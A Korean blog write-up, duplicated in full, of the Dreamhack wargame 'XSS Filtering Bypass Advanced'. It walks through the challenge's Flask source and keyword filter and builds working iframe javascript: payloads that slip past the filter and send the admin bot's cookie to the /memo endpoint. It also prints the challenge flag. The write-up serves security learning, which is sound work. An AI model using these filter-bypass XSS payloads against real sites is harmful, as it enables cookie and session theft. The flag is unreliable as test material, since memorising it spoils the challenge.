프롤로그
문제 다 풀고나서, 이러한 문제들이
https://dreamhack.io/lecture/roadmaps/15
Web Hacking Advanced - Client Side
웹 해킹 심화 클라이언트 사이드 로드맵입니다.
dreamhack.io
이런 로드맵에 포함되어있다는 것을 알았다.
개념 모르고..아 물론 knockon 부트캠프하면서 어느정도 배워놔서 이 지식갖다가 푼 거긴 하지만;;
저 강의들을 보면서 해볼까
문제
https://dreamhack.io/wargame/challenges/434?writeup_page=2
XSS Filtering Bypass Advanced
Description Exercise: XSS Filtering Bypass의 패치된 문제입니다. 문제 수정 내역 2023.08.04 Dockerfile 제공
dreamhack.io

코드 및 분석
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
read_url
일종의 이 사이트의 관리자가 본인의 로컬 에서 쿠키값을 가진채로 돌아간다는 가정하에 셀레니움을 이용하였다.
XSS를 위한 취약점을 실행하기 위한 장치라고 보면 된다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
XSS 취약점을 체크하느 방식인데, script, on, javascript라는 단어가 막혀있고, 이를 우회해야한다.
추가적으로 window, self, this, document, location, (, ) , &#을 우회해야한다.
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
나머지는..이전에 나오던 거랑 비슷한데
/ 는 index.html 로 넘어가는 거
/vuln 은 파라미터로 부터 데이터를 받고, XSS 여부 확인
/flag 는 운영자인 척, 해당 인원이 쿠키 가진채로 어딜 돌아다닐까 라는 곳이고
/memo 에서 플래그 출력되는 구조이다.
풀이전략
XSS 를 우회해서 memo 로 쿠키값 빼오자.
다만 우회해야하는데
기존에
"document.location = '/memo?memo=' + document.cookie;"
이 스크립트를 수행해야한다.
document, on 이 막혀있기에
저것을 우회하고, 수행하면 끝
풀이과정
처음에
<img src="x" o nerror="alert `1`"/>
이걸 파라미터에 입력하고 수행해보면

필터에 걸린다.

음 파라미터가 onerror 공백이 사라져버리네
저거를 %09로 공백을 대체해보자. \t 라는 의미이다.
<img%20src="x"%20o%09nerror="alert%20`1`"/>

안.,.되네...
img 는 버리고 iframe 으로 해보자.
src부분에 들어갈 수 있는 걸로 진행을 해보는 것이다.
<iframe src="javas%09cript:alert `1`"/>

iframe을 수행하고, tab이 들어가 있다면 XSS가 수행된다는 것을 확인할 수 있다.
아 ( ) 이게 막혀있기 때문에 ` ` 이걸로 괄호를 우회한 거고
script가 막혀있기 때문에 중간에 \t 을 %09로 두어서 우회를 진행한 것이다.
이런 식으로 document 도 d ocument, location도 locatio n으로 우회가 가능할 것이다.
* d ocument['locatio' + 'n'] 으로도 우회가 가능하다.
그래서
메모장을 켜고
<iframe src="javas cript:d ocument.locatio n='/memo?memo='+d ocument.cookie;"/>
<iframe src="javas cript:d ocument['locatio'+'n']='/memo?memo='+d ocument.cookie;"/>
이 두 개 코드 둘 다 되는데, 저거를 flag에 집어넣는다면 수행이 완료될 것이다.
안 될 거 같다면
위의 거 base64인코딩 하는 곳 가서 인코딩 하고 vuln 가서 넣어버리면 수행 될 것이다.
URL Encode and Decode - Online
Encode to URL-encoded format or decode from it with various advanced options. Our site has an easy to use online tool to convert your data.
www.urlencoder.org
%0A%3Ciframe%20src%3D%22javas%09cript%3Ad%09ocument%5B%27locatio%27%2B%27n%27%5D%3D%27%2Fmemo%3Fmemo%3D%27%2Bd%09ocument.cookie%3B%22%2F%3E

봐봐. 인코딩 한 거 잘 되지?
그래서 flag가서 나머지 작업 수행해보면

이거 뜨고
memo 넘어가면

플래그가 있다.
FLAG
플래그는
DH{e8140ed5b0770088dd2012e1c9dfd4b4}
이다.
에필로그
이게 레벨3 ...
하긴 나도 처음에 on 어떻게 우회하지 고민 많이했었다.
'보안 스터디 > 웹 해킹' 카테고리의 다른 글
[드림핵/워게임] username:password@ - WriteUp (0) | 2025.03.01 |
---|---|
[드림핵/워게임] login-1 - WriteUp (0) | 2025.02.28 |
[드림핵/워게임] BypassIF - WriteUp (0) | 2025.02.16 |
[드림핵/워게임] baby-jwt - WriteUp (1) | 2025.02.15 |
[드림핵/워게임] Base64 based - WriteUp (0) | 2025.02.14 |
프롤로그
문제 다 풀고나서, 이러한 문제들이
https://dreamhack.io/lecture/roadmaps/15
Web Hacking Advanced - Client Side
웹 해킹 심화 클라이언트 사이드 로드맵입니다.
dreamhack.io
이런 로드맵에 포함되어있다는 것을 알았다.
개념 모르고..아 물론 knockon 부트캠프하면서 어느정도 배워놔서 이 지식갖다가 푼 거긴 하지만;;
저 강의들을 보면서 해볼까
문제
https://dreamhack.io/wargame/challenges/434?writeup_page=2
XSS Filtering Bypass Advanced
Description Exercise: XSS Filtering Bypass의 패치된 문제입니다. 문제 수정 내역 2023.08.04 Dockerfile 제공
dreamhack.io

코드 및 분석
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
read_url
일종의 이 사이트의 관리자가 본인의 로컬 에서 쿠키값을 가진채로 돌아간다는 가정하에 셀레니움을 이용하였다.
XSS를 위한 취약점을 실행하기 위한 장치라고 보면 된다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
XSS 취약점을 체크하느 방식인데, script, on, javascript라는 단어가 막혀있고, 이를 우회해야한다.
추가적으로 window, self, this, document, location, (, ) , &#을 우회해야한다.
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
나머지는..이전에 나오던 거랑 비슷한데
/ 는 index.html 로 넘어가는 거
/vuln 은 파라미터로 부터 데이터를 받고, XSS 여부 확인
/flag 는 운영자인 척, 해당 인원이 쿠키 가진채로 어딜 돌아다닐까 라는 곳이고
/memo 에서 플래그 출력되는 구조이다.
풀이전략
XSS 를 우회해서 memo 로 쿠키값 빼오자.
다만 우회해야하는데
기존에
"document.location = '/memo?memo=' + document.cookie;"
이 스크립트를 수행해야한다.
document, on 이 막혀있기에
저것을 우회하고, 수행하면 끝
풀이과정
처음에
<img src="x" o nerror="alert `1`"/>
이걸 파라미터에 입력하고 수행해보면

필터에 걸린다.

음 파라미터가 onerror 공백이 사라져버리네
저거를 %09로 공백을 대체해보자. \t 라는 의미이다.
<img%20src="x"%20o%09nerror="alert%20`1`"/>

안.,.되네...
img 는 버리고 iframe 으로 해보자.
src부분에 들어갈 수 있는 걸로 진행을 해보는 것이다.
<iframe src="javas%09cript:alert `1`"/>

iframe을 수행하고, tab이 들어가 있다면 XSS가 수행된다는 것을 확인할 수 있다.
아 ( ) 이게 막혀있기 때문에 ` ` 이걸로 괄호를 우회한 거고
script가 막혀있기 때문에 중간에 \t 을 %09로 두어서 우회를 진행한 것이다.
이런 식으로 document 도 d ocument, location도 locatio n으로 우회가 가능할 것이다.
* d ocument['locatio' + 'n'] 으로도 우회가 가능하다.
그래서
메모장을 켜고
<iframe src="javas cript:d ocument.locatio n='/memo?memo='+d ocument.cookie;"/>
<iframe src="javas cript:d ocument['locatio'+'n']='/memo?memo='+d ocument.cookie;"/>
이 두 개 코드 둘 다 되는데, 저거를 flag에 집어넣는다면 수행이 완료될 것이다.
안 될 거 같다면
위의 거 base64인코딩 하는 곳 가서 인코딩 하고 vuln 가서 넣어버리면 수행 될 것이다.
URL Encode and Decode - Online
Encode to URL-encoded format or decode from it with various advanced options. Our site has an easy to use online tool to convert your data.
www.urlencoder.org
%0A%3Ciframe%20src%3D%22javas%09cript%3Ad%09ocument%5B%27locatio%27%2B%27n%27%5D%3D%27%2Fmemo%3Fmemo%3D%27%2Bd%09ocument.cookie%3B%22%2F%3E

봐봐. 인코딩 한 거 잘 되지?
그래서 flag가서 나머지 작업 수행해보면

이거 뜨고
memo 넘어가면

플래그가 있다.
FLAG
플래그는
DH{e8140ed5b0770088dd2012e1c9dfd4b4}
이다.
에필로그
이게 레벨3 ...
하긴 나도 처음에 on 어떻게 우회하지 고민 많이했었다.
'보안 스터디 > 웹 해킹' 카테고리의 다른 글
[드림핵/워게임] username:password@ - WriteUp (0) | 2025.03.01 |
---|---|
[드림핵/워게임] login-1 - WriteUp (0) | 2025.02.28 |
[드림핵/워게임] BypassIF - WriteUp (0) | 2025.02.16 |
[드림핵/워게임] baby-jwt - WriteUp (1) | 2025.02.15 |
[드림핵/워게임] Base64 based - WriteUp (0) | 2025.02.14 |